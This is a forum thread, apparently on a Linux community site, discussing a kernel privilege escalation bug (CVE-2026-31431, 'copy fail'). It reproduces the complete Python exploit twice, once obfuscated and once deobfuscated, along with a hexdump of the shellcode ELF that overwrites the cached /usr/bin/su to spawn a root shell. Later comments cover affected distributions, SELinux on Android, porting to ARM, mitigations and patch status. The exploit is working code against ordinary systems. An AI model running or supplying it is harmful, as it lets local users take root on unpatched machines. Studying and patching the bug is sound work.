This did not work on my main Arch install on 6.19.14-zen, but did work on my Debian servers 6.12.74
yikes
here is just the code https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py
#!/usr/bin/env python3 import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")here’s my attempt at deobfuscating it:
#!/usr/bin/env python3 import os import zlib import socket as s def inject(file, offset, data): sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET) sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) sock.setsockopt(s.SOL_ALG, s.SO_DEBUG, bytes.fromhex("0800010000000010" + "0" * 64)) sock.setsockopt(s.SOL_ALG, s.SO_DONTROUTE, None, optlen=4) conn, _ = sock.accept() conn.sendmsg( [b"AAAA" + data], [ (s.SOL_ALG, s.MSG_OOB | s.MSG_PEEK, b"\x00\x00\x00\x00"), (s.SOL_ALG, s.MSG_PEEK, b"\x10\x00\x00\x00" + b"\x00" * 16), (s.SOL_ALG, s.MSG_DONTROUTE, b"\x08\x00\x00\x00"), ], s.MSG_MORE, ) r, w = os.pipe() os.splice(file, w, offset + 4, offset_src=0) os.splice(r, conn.fileno(), offset + 4) try: conn.recv(8 + offset) except: pass binary = os.open("/usr/bin/su", os.O_RDONLY) offset = 0 payload = zlib.decompress( bytes.fromhex( "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301" "d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96" "75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" ) ) while offset < len(payload): inject(binary, offset, payload[offset : offset + 4]) offset += 4 os.system("su")as far as i understand the writeup, the weakness is in the
splice()function, because it silently crosses an auth boundary. the payload looks like this:00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............ # ELF x86-64 v1, executable 00000010: 0200 3e00 0100 0000 7800 4000 0000 0000 ..>.....x.@..... 00000020: 4000 0000 0000 0000 0000 0000 0000 0000 @............... 00000030: 0000 0000 4000 3800 0100 0000 0000 0000 ....@.8......... # contains 1 56-bit program header 00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ................ # program header starts 00000050: 0000 4000 0000 0000 0000 4000 0000 0000 ..@.......@..... 00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000 ................ # flags r-x 00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05 ........1.1..i.. # program starts 00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531 H.=....1.j;X...1 00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000 .j<X../bin/sh...it’s an ELF header that replaces the one on the cached version of the binary (su in this case).
So could this root any android device to make it possible to install homebrew on it?
There usually isn’t a
subinary installed on non-rooted Androids. If you’re rooting it yourself anyways, there’s no need to use the exploit.I’m not as smart as the people who make alternative android options. I was just hoping it would help them jailbreak more of goggle’s bullshit so customers actually have a choice to go for an android OS which respects them and their privacy.
grapheneOS has already vented on social media that theu are not affected because of how they configured SELinux and that the headline is therefore not correct
Aww dang it
Well ok who tf cares I can literally just connect to adb over localhost with termux and do adb root
SELinux breaks a lot of android root exploits, way back in the day even dirty cow didn’t work. It would get you “root” but not actually the full perms because of SELinux. Really good testament to the added security of MAC, it’s one of the reasons I run apparmor on my systems
Apparently this exact PoC only works on x86. You’d need to find an ARM version
you’d only need to change the payload part, which is a compiled x86 ELF header.
A mitigation that worked for me - https://github.com/theori-io/copy-fail-CVE-2026-31431/issues/26
Here on my Artix* Linux it still asks for the password; *OpenRC
systemd, KDE Plasma, Wayland.https://xint.io/blog/copy-fail-linux-distributions
according to this (good) blog post the disclosure to the linux kernel security team was already like a month ago so i would imagine the fix is already on a lot of systems
If your system is up-to-date, your kernel has probably already been patched. The patch was added to mainline on April 1, and I think every major distribution will have added it by now.
same, Kubuntu 26.04 asks for my password when running the exploit script
I just get a “permission denied” on Slackware 15.0 and -current. That was after fixing the path to su in the script (it’s
/bin/suon Slackware)
